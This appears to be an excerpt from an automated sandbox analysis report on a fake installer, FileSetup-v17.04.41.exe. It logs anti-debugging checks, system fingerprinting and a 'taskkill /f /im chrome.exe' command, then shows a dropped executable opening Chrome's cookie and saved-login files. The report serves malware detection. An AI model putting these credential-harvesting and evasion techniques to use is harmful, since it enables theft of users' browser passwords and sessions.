Code function: 0_2_004560A0 LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

0_2_004560A0

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00496048 mov eax, dword ptr fs:[00000030h]		0_2_00496048
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00496075 mov eax, dword ptr fs:[00000030h]		0_2_00496075
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_0049602F mov eax, dword ptr fs:[00000030h]		0_2_0049602F
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10019DE0 mov eax, dword ptr fs:[00000030h]		3_2_10019DE0
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10019E10 mov eax, dword ptr fs:[00000030h]		3_2_10019E10
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10019E10 mov eax, dword ptr fs:[00000030h]		3_2_10019E10
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10019E70 mov eax, dword ptr fs:[00000030h]		3_2_10019E70
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10019E70 mov eax, dword ptr fs:[00000030h]		3_2_10019E70
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10019ED0 mov eax, dword ptr fs:[00000030h]		3_2_10019ED0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004AA130 CreateFileA,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__write_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_004AA130

Enables debug privileges

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Contains functionality to register its own exception handler

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_00490470 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00490470
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: 0_2_004A342D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_004A342D
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10015354 SetUnhandledExceptionFilter,__encode_pointer,		3_2_10015354
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10015376 __decode_pointer,SetUnhandledExceptionFilter,		3_2_10015376
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_10018413 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind,		3_2_10018413
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000E44D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		3_2_1000E44D
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: 3_2_1000EFFC IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		3_2_1000EFFC
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CF1C57 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		24_2_00CF1C57
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CF461F SetUnhandledExceptionFilter,		24_2_00CF461F
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CF631F __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		24_2_00CF631F
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: 24_2_00CF373A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		24_2_00CF373A

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3

Uses taskkill to terminate processes

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im chrome.exe

Jump to behavior

Contains functionality to add an ACL to a security descriptor

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 3_2_1001A0F0 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateMutexA,GetLastError,

3_2_1001A0F0

Language, Device and Operating System Detection:

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004A661B cpuid

0_2_004A661B

Contains functionality to query locales information (e.g. system language)

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: GetThreadLocale,GetLocaleInfoA,GetACP,		0_2_0048E010
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,GetLocaleInfoA,GetLocaleInfoA,_malloc,GetLocaleInfoA,MultiByteToWideChar,		0_2_004A6688
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoW_stat,		0_2_004A67C3
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,		0_2_004A47EC
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLastError,GetLocaleInfoW,_malloc,GetLocaleInfoW,WideCharToMultiByte,GetLocaleInfoA,		0_2_004A67FE
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,		0_2_004A693B
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,		0_2_004A4E48
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,InterlockedDecrement,InterlockedDecrement,		0_2_004990E2
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: __calloc_crt,__malloc_crt,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,InterlockedDecrement,InterlockedDecrement,		0_2_004A5099
Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe	Code function: GetLocaleInfoA,		0_2_004A542E
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Code function: GetLocaleInfoA,		3_2_10017CF0
Source: C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe	Code function: GetLocaleInfoA,		24_2_00CF7189

Queries device information via Setup API

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe

Code function: 3_2_10019780 SetupDiGetDeviceRegistryPropertyA,GetLastError,_memset,SetupDiGetDeviceRegistryPropertyA,

3_2_10019780

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Contains functionality to query local / system time

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_00492AD9 GetSystemTimeAsFileTime,

0_2_00492AD9

Contains functionality to query windows version

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Code function: 0_2_004560A0 LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetVersion,GetVersion,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

0_2_004560A0

Queries the cryptographic machine GUID

Source: C:\Users\user\Desktop\FileSetup-v17.04.41.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\hihistory			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6852B33702F6B3BD.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior